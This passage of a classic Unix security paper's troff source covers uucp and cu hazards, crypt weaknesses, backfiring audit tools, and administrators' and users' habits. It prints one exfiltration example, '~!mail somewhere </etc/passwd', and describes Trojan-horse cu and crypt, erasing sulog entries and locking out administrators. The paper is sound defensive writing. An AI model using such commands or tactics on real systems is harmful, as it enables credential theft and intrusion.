998: and execution. The far end of a uucp transaction needs ! 999: only to see whether access to some file is legitimate, ! 1000: but the far end of a ! 1001: .I uux ! 1002: transaction must examine the ! 1003: command and its context and decide whether the result ! 1004: will be harmful. The latter is extremely difficult, ! 1005: because the shell, like most other macro processors, ! 1006: has some very complex quoting conventions deliberately ! 1007: designed to hide certain types of strings until the ! 1008: proper time for their expansion. An intruder with ! 1009: sufficient shell programming experience is likely to ! 1010: succeed here. ! 1011: .PP ! 1012: Finally, given that neither ! 1013: .I uucp ! 1014: nor ! 1015: .I uux ! 1016: will perform ! 1017: as directed, there is always the option of making a private ! 1018: copy of ! 1019: .I uucp . ! 1020: No special permissions are required, ! 1021: either to run the program or to access the telephone ! 1022: dialers. The private copy can assert that it is calling ! 1023: from anywhere, and there is no way for the called machine ! 1024: to verify the claim. Thus an intruder stands a good ! 1025: chance of dialing into one of a cluster of friendly ! 1026: machines, masquerading as one of the family, and ! 1027: finding access permissions greatly relaxed. ! 1028: .PP ! 1029: Another communications program called ! 1030: .I cu ! 1031: is ! 1032: especially appealing to intruders. The name ! 1033: .I cu ! 1034: stands for `call ! 1035: .UX '. ! 1036: It allows a user of a ! 1037: .UX ! 1038: system to ! 1039: call another system, not necessarily ! 1040: .UX , ! 1041: and to ! 1042: conduct an interactive session on the remote machine. ! 1043: A typical ! 1044: .I cu ! 1045: session starts like this: ! 1046: .P1 ! 1047: $ cu 5551212 ! 1048: .SP ! 1049: Connected ! 1050: .SP ! 1051: remote ! 1052: login: user ! 1053: Password: ! 1054: $ [session from here until ~.] ! 1055: ... ! 1056: ... ! 1057: .P2 ! 1058: .PP ! 1059: Note the sequence of events. ! 1060: .I cu ! 1061: is invoked and given ! 1062: the telephone number of the remote machine. A connection ! 1063: is made, and the user is asked for a login name and ! 1064: a password. If these are correctly given, the session ! 1065: proceeds as if the user had manually dialed in. The ! 1066: session ends when the user types a line beginning ! 1067: with ! 1068: .CW ~ . ! 1069: .PP ! 1070: Consider two machines, one on which very careful attention ! 1071: has been paid to security concerns, and another on which ! 1072: security issues have been utterly neglected. An intruder on the ! 1073: weak machine need only install a horse \(em a version ! 1074: of ! 1075: .I cu ! 1076: that in addition to making connections also ! 1077: copies the first few lines of a session somewhere \(em to ! 1078: obtain the keys to the strong machine. ! 1079: .PP ! 1080: It would seem that a good rule to follow with ! 1081: .I cu ! 1082: would ! 1083: be never to use it to get from a weak machine to a stronger ! 1084: machine, but sometimes this is not sufficient. ! 1085: .I cu ! 1086: allows escape ! 1087: sequences that are not transmitted to the remote machine, ! 1088: but instead cause certain useful functions to be ! 1089: performed. For example, any line beginning with ! 1090: .CW ~%put ! 1091: tells ! 1092: .I cu ! 1093: to copy a file from the local machine to the ! 1094: remote; lines beginning with ! 1095: .CW ~%take ! 1096: cause things to go ! 1097: the other way. Of special interest are lines beginning ! 1098: with ! 1099: .CW ! ! 1100: that cause commands to be executed on the ! 1101: local machine. ! 1102: For example, ! 1103: .P1 ! 1104: ~!mail ! 1105: .P2 ! 1106: lets a user read mail on the local machine while still ! 1107: connected to the remote. ! 1108: .PP ! 1109: For some versions of ! 1110: .I cu , ! 1111: the local machine cannot tell how a line was generated ! 1112: when it gets it from the remote machine. ! 1113: It just has a line of text. If the line says ! 1114: .P1 ! 1115: ~!mail somewhere </etc/passwd ! 1116: .P2 ! 1117: it may have been typed deliberately by the user, it may ! 1118: have been written to the user's terminal by a bad guy on ! 1119: the remote machine, or it may have been contained in a ! 1120: file on the remote machine that the user had been ! 1121: printing. The result is the same in any case: the password ! 1122: file is tossed over the wall. ! 1123: .PP ! 1124: The ! 1125: .I ct ! 1126: command causes a machine to call out to a terminal ! 1127: in order to let that terminal log in to the machine. ! 1128: It is otherwise identical to the ! 1129: .I cu ! 1130: command, but from an intruder's ! 1131: point of view, the target machine gets to pay the phone bill. ! 1132: This reduced cost is counterbalanced by the greatly increased risk ! 1133: of getting caught by audit procedures. ! 1134: .PP ! 1135: Finally, there are local area networks, or LANs. These ! 1136: are arrangements in which some kind of high speed ! 1137: communications channel is used to connect a cluster of ! 1138: machines that are geographically close to one another, ! 1139: e.g., a dozen machines in the same building. The intent ! 1140: of an LAN is usually not only to make it easy to share ! 1141: information, but also to provide users of all the machines ! 1142: in the network with handy access to resources (such ! 1143: as typesetters) that are not economical to replicate ! 1144: on each machine. ! 1145: .PP ! 1146: Unlike ! 1147: .I uucp ! 1148: and ! 1149: .I cu , ! 1150: which are fairly standard, LANs ! 1151: come in many different flavors. It would be unkind ! 1152: and not very useful to dissect some particular LAN ! 1153: here, and trying to cover even the more popular ones ! 1154: would require a long and mostly uninteresting book. ! 1155: The hazards are exactly those of ! 1156: .I uucp ! 1157: and ! 1158: .I cu : ! 1159: remote ! 1160: execution, masquerading and faulty access permissions. ! 1161: The forms that the attacks will take are of course ! 1162: different. ! 1163: .PP ! 1164: Security holes in machine-to-machine communications ! 1165: are well-known, and sometimes difficult to fix. ! 1166: .DL ! 1167: No special permissions are inherently required to ! 1168: access communications devices. This makes it possible ! 1169: to obtain a private copy of a communications ! 1170: program and to modify it so that it calls out ! 1171: masquerading as some other machine or some other ! 1172: user. Even if special privileges were required, ! 1173: little would be gained, as the threat is to the ! 1174: remote, as yet uncompromised machine, not the local ! 1175: machine on which an intruder has presumably already ! 1176: obtained the required permissions. ! 1177: .DL ! 1178: Given that a remote machine cannot reliably identify ! 1179: its caller, allowing the remote execution of ! 1180: arbitrary commands is a sure way to invite trouble. ! 1181: Remote execution of a shell is deadly, but even ! 1182: an innocuous command like cat can be used to an ! 1183: intruder's advantage. ! 1184: .DL ! 1185: The ! 1186: .I uucp ! 1187: program that is used by most ! 1188: .UX ! 1189: machines ! 1190: was not written with security in mind. It can do just ! 1191: about anything, and it is up to the system administrator ! 1192: to restrict its capabilities. The restrictions needed ! 1193: are by no means obvious. The cure is to rewrite ! 1194: .I uucp ! 1195: so that it is able to deliver mail, to copy files to ! 1196: and from spool directories, and to send out data only ! 1197: when it has initiated the connection. We have done ! 1198: this in our research environment some time ago|reference(morris try uucp). ! 1199: Other efforts are in progress elsewhere|reference(uniforum uucp)|reference(truscott uucp). ! 1200: .DL ! 1201: The ! 1202: .I cu ! 1203: program can be a security disaster. Banning it from ! 1204: a machine or restricting access to devices will do ! 1205: no good at all, for the obvious reasons. The best that ! 1206: can be done is to educate users: ! 1207: .KS ! 1208: .nf ! 1209: Don't \fIcu\fR from a machine that isn't trusted. ! 1210: Don't \fIcu\fR to a machine that isn't trusted. ! 1211: Don't browse on the remote machine. ! 1212: .fi ! 1213: .KE ! 1214: (This advice is remarkably similar to that which parents ! 1215: give their children: ``Don't go for a ride with ! 1216: a stranger.'') ! 1217: .DL ! 1218: Local area networks should be treated as individual ! 1219: machines for security purposes. ! 1220: .NH ! 1221: Encrypted Files ! 1222: .PP ! 1223: .UX ! 1224: systems are distributed with a command called ! 1225: .I crypt ! 1226: that is used to encrypt and decrypt files|reference(morris file security). ! 1227: Cleartext is supplied as input to the program. A key ! 1228: (the cryptologist's term for `password') is either given ! 1229: on the command line or supplied interactively, and ciphertext ! 1230: is output. The transformation performed by ! 1231: .I crypt ! 1232: is its own ! 1233: inverse, so that using the same key converts ciphertext to ! 1234: cleartext. ! 1235: .I Crypt ! 1236: is used in many applications, and often very ! 1237: unwisely, as its safety depends on a very large number of ! 1238: factors that are often not considered by naive users. ! 1239: (For mainly this reason, Research Unix since the Eighth Edition has ! 1240: kept ! 1241: .I crypt ! 1242: in ! 1243: .CW /usr/games ! 1244: rather than in ! 1245: .CW /usr/bin .) ! 1246: The ! 1247: purpose of this section is to present those facts that ought to ! 1248: be considered, so that the user can make an informed decision ! 1249: about a particular application. ! 1250: .PP ! 1251: It is possible to decrypt an encrypted file without knowledge ! 1252: of its key. This is hardly surprising, as successful methods ! 1253: of attacking rotor machines have been known for over 50 years|reference(garlinski). ! 1254: The job can be very time-consuming; it is not just a matter ! 1255: of aiming some magic program at a file of ciphertext and ! 1256: obtaining cleartext. ! 1257: The method is described in detail in |reference(reeds weinberger). ! 1258: The amount of work that it takes to ! 1259: decrypt a file varies, depending on what clues ! 1260: are available. For a file of encrypted English text, ! 1261: several hours of work is not atypical. ! 1262: .PP ! 1263: Decryption of files can be made easy or hard, depending ! 1264: on how ! 1265: .I crypt ! 1266: is used: ! 1267: .DL ! 1268: A `one size fits all' approach to ! 1269: key selection is a particularly bad idea. It goes without ! 1270: saying that a user's login password, if known, will be ! 1271: tried as a possible key, but there are other problems. ! 1272: If ten files are encrypted with the same key, then ! 1273: all ten files can be decrypted once only one is done. ! 1274: Moreover, having more than one file encrypted with the ! 1275: same key lets a cryptanalyst switch to a different ! 1276: target when guessing at probable text gets hard. ! 1277: .DL ! 1278: Very frequently, a user of ! 1279: .I crypt ! 1280: will forget to remove ! 1281: a cleartext file after producing an encrypted version. ! 1282: Such cleartext can only be described as `gold'. ! 1283: .DL ! 1284: Executable programs (binaries) that have not been ! 1285: stripped of their predictable symbol tables are ! 1286: vulnerable. ! 1287: .DL ! 1288: Double encryption, that is, passing text through ! 1289: .I crypt ! 1290: twice, makes the job of decryption harder, but not much. ! 1291: .DL ! 1292: Simple-minded preprocessing schemes, such as exclusive ! 1293: oring the file with some constant, don't help. ! 1294: .DL ! 1295: Preprocessing the cleartext so that there is no longer ! 1296: a one-to-one correspondence between clear- and ! 1297: cipher-bytes dramatically weakens the attack. For example, ! 1298: using the ! 1299: .I pack ! 1300: command to get a Huffman-encoded version of ! 1301: the file before passing it through ! 1302: .I crypt ! 1303: ensures that ! 1304: characters will cross byte boundaries, thus rendering ! 1305: byte-oriented decryption techniques useless. ! 1306: .LP ! 1307: Much more dangerous are the non-cryptanalytic attacks. The ! 1308: techniques for guessing passwords are exactly those for guessing ! 1309: keys. And a Trojan horse version of ! 1310: .I crypt ! 1311: can take minutes, not ! 1312: hours for an intruder to install. ! 1313: .PP ! 1314: Finally, the frequency distribution of the bytes in an ! 1315: encrypted file is uniform. This is so unlike those of ! 1316: other files in the system that they practically scream ! 1317: for the attention of an intruder. This is well worth ! 1318: remembering. ! 1319: .NH ! 1320: Misguided Efforts ! 1321: .PP ! 1322: It is one thing to clean up a system by plugging open holes, ! 1323: and quite another to install security machinery that collects ! 1324: evidence of possible chicanery. ! 1325: The latter can be very useful or very dangerous, ! 1326: depending on how it is done, ! 1327: since it often happens that information that is helpful to ! 1328: system administrators can be just as helpful \(em or more so \(em to ! 1329: an intruder. Here are some security tools that can help weaken ! 1330: system security. ! 1331: .NH 2 ! 1332: Logging \f4su\fP activity ! 1333: .PP ! 1334: The ! 1335: .I su ! 1336: command allows a user to assume the identity of any other ! 1337: user (the default being root, the super-user) if the password ! 1338: corresponding to the desired new identity is correctly given. ! 1339: As a security measure, most implementations of ! 1340: .I su ! 1341: also append ! 1342: a line to a log file called ! 1343: .CW sulog . ! 1344: The line contains a time stamp, ! 1345: the name of the user, the proposed new identity and a flag showing ! 1346: whether or not the transformation succeeded. Clearly, this file ! 1347: must be protected from writing by all but the super-user. ! 1348: .PP ! 1349: Normally, only a small number of people on a given machine are ! 1350: supposed to have super-user privileges, and all of these should ! 1351: be known to the system administrator. Thus by looking in ! 1352: .CW sulog ! 1353: for ! 1354: those who have become ! 1355: .CW root , ! 1356: the administrator ! 1357: can get a very short list of names in which a stranger will likely ! 1358: stand out like a sore thumb. ! 1359: .PP ! 1360: Now consider the plight of an intruder who has just used a borrowed ! 1361: password to break into a strange machine, and who now has the task ! 1362: of locating the important people from among perhaps hundreds in the ! 1363: password file. Fortunately, the important people can readily be ! 1364: identified by their ability to become super-user. Thus the same ! 1365: technique applied to the same file produces the same list \(em but ! 1366: now it is a list of horse targets. ! 1367: .PP ! 1368: This implies that ! 1369: .CW sulog ! 1370: had better be unreadable as well as unwritable. ! 1371: Such files are difficult to handle for a variety of reasons. ! 1372: Copies and summaries with relaxed permissions are likely to be ! 1373: owned by the important people. ! 1374: .PP ! 1375: .CW sulog ! 1376: thus appears to help both the defenders and the attackers. ! 1377: This would indeed be the case if there were ever a need for an ! 1378: intruder to make an entry in the file. There is no such need. ! 1379: Only the most inexperienced intruder will use the ! 1380: .I su ! 1381: command to ! 1382: try out a guess or a pilfered password. The indirect approach ! 1383: of encrypting the guess and comparing it with the password file ! 1384: entry will provide verification without leaving any tracks. ! 1385: Once sure of a password, the intruder can then use ! 1386: .I su , ! 1387: and just ! 1388: remove the last telltale line from ! 1389: .CW sulog . ! 1390: .PP ! 1391: If ! 1392: .CW sulog ! 1393: exists on a machine, no matter how it is protected ! 1394: or what it is called, there is a potential risk for the administrator ! 1395: but none for the knowledgeable intruder. The way to reverse the ! 1396: score is to keep the tracks off the machine, where they cannot ! 1397: be accessed, even by the super-user. The paper console copy in ! 1398: the machine room is a very good place, especially if the system ! 1399: administrator reads it occasionally. ! 1400: .NH 2 ! 1401: Password aging ! 1402: .PP ! 1403: One of the many problems with passwords is that most people, ! 1404: left unreminded, will keep a password forever. The longer a password ! 1405: is used, the greater the chance that it will become compromised. ! 1406: Also, stolen passwords are useful to their thief for as long ! 1407: as they remain valid. ! 1408: .PP ! 1409: Most ! 1410: .UX ! 1411: systems are provided with a feature called ! 1412: .I "password aging" , ! 1413: which, if activated by the system administrator, will ! 1414: cause users of the system to change their passwords every so often. ! 1415: .PP ! 1416: The goal is laudable. The algorithm, however, is bad, and the ! 1417: implementation, from a security standpoint, is just awful. ! 1418: .PP ! 1419: In systems on which the feature is used, the system administrator ! 1420: assigns, on a user-by-user basis, the length of time that a ! 1421: password can remain valid. The first time that a user whose password ! 1422: has rotted attempts to log into the system, the message: ``Your ! 1423: password has expired. Choose a new one.'' is printed and the user ! 1424: is made to execute the ! 1425: .I passwd ! 1426: command rather than the shell. The ! 1427: passwd command prompts for a new password, installs it, and records ! 1428: the time of installation. Further, to prevent a user from changing ! 1429: a password from X to Y and then promptly back to X, ! 1430: .I passwd ! 1431: will ! 1432: refuse to change a password that is less than a week old. ! 1433: .PP ! 1434: Four things are wrong here. First, picking good passwords, while ! 1435: not very difficult, does require a little thought, and the surprise ! 1436: that comes just at login time is likely to preclude this. There ! 1437: is no hard evidence to support this conjecture, but it is a fact ! 1438: that the most incredibly silly passwords tend to be found on ! 1439: systems equipped with password aging. ! 1440: .PP ! 1441: Second, the user who discovers ! 1442: that the new password is unsound or compromised cannot change it ! 1443: within the week without help from the system administrator. ! 1444: .PP ! 1445: Third, ! 1446: the feature only forces people to toggle back and forth between two ! 1447: passwords. This is not a great gain in security, especially if it ! 1448: encourages the use of less-than-ideal passwords. ! 1449: .PP ! 1450: Fourth, as implemented, the date and the lifetime of a password is encoded, not encrypted, ! 1451: just after the encrypted password in the password file. It is easy ! 1452: to write a program that scans a password file and prints out a list ! 1453: of abandoned accounts, together with the length of time each account ! 1454: has been unused. Whether this is a horror or a blessing depends on ! 1455: one's point of view. ! 1456: .PP ! 1457: The aging of passwords is a difficult problem, yet unsolved. ! 1458: .NH 2 ! 1459: Recording unsuccessful login attempts ! 1460: .PP ! 1461: Some systems record unsuccessful login attempts. ! 1462: The login name, time and terminal number are stored. ! 1463: The password used is not, for the obvious reasons. The intent of ! 1464: such logging is to alert the system administrator to the presence ! 1465: of an intruder who stands at the door making guesses at the key. ! 1466: .PP ! 1467: One reason that login attempts fail is that people sometimes type ! 1468: a password when asked for a login name. Whether this is due to haste, ! 1469: carelessness, inattention, or sluggish system response during peak ! 1470: hours is not known. What is known is that collecting login names ! 1471: from unsuccessful access attempts will almost invariably collect ! 1472: a few passwords as well and that any `login name' thus collected ! 1473: that is not found in the system's password file is almost certainly ! 1474: a password. Finding the match is not difficult. ! 1475: .NH 2 ! 1476: Disabling accounts based on unsuccessful logins ! 1477: .PP ! 1478: Some systems will count the number of consecutive unsuccessful ! 1479: login attempts for a particular user and disable the account ! 1480: after some pain threshold is reached. The magic number is ! 1481: usually three. This ploy has the marginal benefit of annoying ! 1482: would-be intruders who go through the unprofitable exercise ! 1483: of casting spells at the door, hoping it will open. For the ! 1484: intruder who has already gained access to the system, and ! 1485: who wants to get rid of the system administrator, ! 1486: the feature is a blessing: ! 1487: .P1 ! 1488: login: guru ! 1489: password: foo ! 1490: .P2 ! 1491: repeated the appropriate number of times will assure the ! 1492: intruder of privacy for at least a little while. ! 1493: .NH ! 1494: People ! 1495: .PP ! 1496: By far the greatest security hazard for a system, ! 1497: .UX ! 1498: or otherwise, ! 1499: is the set of people who use it. If the people who use a ! 1500: machine are naive about security issues, the machine will ! 1501: be vulnerable regardless of what is done by the local ! 1502: management. This applies particularly to the system's ! 1503: administrators, but ordinary users should also take heed. ! 1504: .NH 2 ! 1505: Administrators' Concerns ! 1506: .PP ! 1507: The system administrator is responsible for overseeing the ! 1508: security of the system as a whole. Several things are ! 1509: especially important. ! 1510: .DL ! 1511: The password file is the most important file to watch ! 1512: in the system. It should not, of course, be writable ! 1513: by anyone other than the super-user, nor should it be ! 1514: available for perusal by anyone who is not currently ! 1515: logged into the machine. For example, it should not ! 1516: be shipped by ! 1517: .I uucp ! 1518: in response to an outside request. ! 1519: .DL ! 1520: Login entries with no passwords are very unwise. ! 1521: .DL ! 1522: Group logins, that is, the use of a single login name ! 1523: and password for a number of people, are to be avoided. ! 1524: The owner of a machine is entitled to know who is ! 1525: using it, and group logins thwart this. Further, the ! 1526: idea of a group login does little to instill in its ! 1527: users the notion that they are individually responsible ! 1528: for their conduct on a machine. ! 1529: .DL ! 1530: The worst group login, and one that is found on ! 1531: virtually all ! 1532: .UX ! 1533: machines, is ! 1534: .CW root , ! 1535: the login name ! 1536: of the super-user. Every time that someone logs in ! 1537: as ! 1538: .CW root , ! 1539: the system administrator can tell that ! 1540: someone logged in with super-user privileges, but there ! 1541: is no hint as to who that person might be. Many systems ! 1542: make it impossible to login as ! 1543: .CW root ! 1544: via dialup lines; ! 1545: some restrict the login to the system console. In fact, ! 1546: there is no need for anonymous super-users. It is better to ! 1547: require a normal login and effect the transformation ! 1548: via the ! 1549: .I su ! 1550: command, especially if ! 1551: .I su ! 1552: leaves tracks on ! 1553: a piece of paper somewhere. ! 1554: .DL ! 1555: The use of restricted shells to contain people who ! 1556: log in without passwords or through group logins ! 1557: is simply ineffective. ! 1558: .DL ! 1559: Administrators' personal passwords are most important, ! 1560: both to the administrators and to potential intruders. ! 1561: An intruder is happy to get anybody's password that ! 1562: provides access to the machine. If the password is ! 1563: that of a system administrator and thus allows ! 1564: some special group permissions such as ! 1565: .CW bin , ! 1566: .CW sys ! 1567: or ! 1568: .CW uucp , ! 1569: so much the better. It is strongly recommended that ! 1570: administrators use different passwords on the machines ! 1571: that they maintain than they use on any other machines. ! 1572: .DL ! 1573: A system administrator should be able to explain the ! 1574: presence of every SUID-root program on the system, and ! 1575: to show that these have at least been looked at for ! 1576: surprises. Compilation from `clean' source code is ! 1577: helpful, but not always sufficient. ! 1578: .DL ! 1579: Protection against horses for people who have ! 1580: super-user privileges is essential. This means checking ! 1581: PATH variables, directories and files owned by such ! 1582: people to see that the files that they execute ! 1583: are writable only by themselves or by trusted ! 1584: administrators. Again, such protection is not ! 1585: sufficient, but it does remove the obvious targets. ! 1586: .DL ! 1587: Finally, the system administrator should work to ! 1588: develop an awareness of security issues in the ! 1589: user community as a whole. ! 1590: .NH 2 ! 1591: Users' Concerns ! 1592: .PP ! 1593: Users, including system administrators, often have surprisingly ! 1594: bad habits with respect to system security. Here are some of ! 1595: the worst. ! 1596: .DL ! 1597: Giving away logins and passwords is all too common. ! 1598: The same people who would never consider giving the ! 1599: keys to a company car to a friend are often quite ! 1600: willing to give away the keys to the company computer, ! 1601: even though the potential for loss may be orders of ! 1602: magnitude greater. ! 1603: .DL ! 1604: Obvious swindles tend to be ignored. Most Trojan horses work ! 1605: only because most people have not given any thought ! 1606: to the fact that programs that ask for things ! 1607: like passwords might not be the genuine article. ! 1608: If something goes wrong, they ask no questions. ! 1609: .DL ! 1610: Generally, little thought goes into the choice of ! 1611: non-trivial passwords, passwords are not changed ! 1612: except under duress, and a `one size fits all' ! 1613: attitude is common. ! 1614: .DL ! 1615: Carefree networking is the norm, not the exception. ! 1616: .DL ! 1617: Sensitive information about projects and people is ! 1618: routinely kept on public machines. ! 1619: .PP ! 1620: The only approach to these problems is user education. ! 1621: .NH ! 1622: Conclusion ! 1623: .PP ! 1624: At the beginning of this paper it was noted that ! 1625: .UX ! 1626: systems, when used for the purposes and in the environment ! 1627: for which they were designed, cannot be made secure. The ! 1628: supporting arguments for that statement should now be clear. ! 1629: Several other things should also be clear: ! 1630: .DL ! 1631: The security of any given ! 1632: .UX ! 1633: system can vary from ! 1634: very weak to very strong, depending on a large number ! 1635: of factors and their interactions. The most important ! 1636: of these are the habits and attitudes of administrators ! 1637: and users. ! 1638: .DL ! 1639: Software changes can be made that will greatly increase ! 1640: the security of a system. However, since the same tools ! 1641: can be just as potent for an intruder as for an administrator, ! 1642: they must be carefully designed, lest they backfire. ! 1643: .DL ! 1644: The question of convenience vs. security, which depends ! 1645: on the nature of a given application, must be carefully ! 1646: considered before implementing and installing that ! 1647: application. In particular, there are some things that ! 1648: should not be put on any `public' machine. ! 1649: .PP ! 1650: It was also noted that the security hazards of ! 1651: .UX ! 1652: systems ! 1653: are exactly those of other systems that are used for ! 1654: similar purposes in similar environments. Only the forms ! 1655: of the hazards are different. If, from the examples given, ! 1656: it seems easier to subvert ! 1657: .UX ! 1658: systems than most other ! 1659: systems, the impression is a false one. The subversion ! 1660: techniques are the same. It is just that it is often ! 1661: easier to write, install, and use programs ! 1662: on ! 1663: .UX ! 1664: systems than on most ! 1665: other systems, and that is why the ! 1666: .UX ! 1667: system was designed ! 1668: in the first place. ! 1669: .NH ! 1670: References ! 1671: .LP ! 1672: |reference_placement
This archive runs on limited infrastructure. Preserving old code on modern bandwidth. Automated agents are requested to crawl responsibly.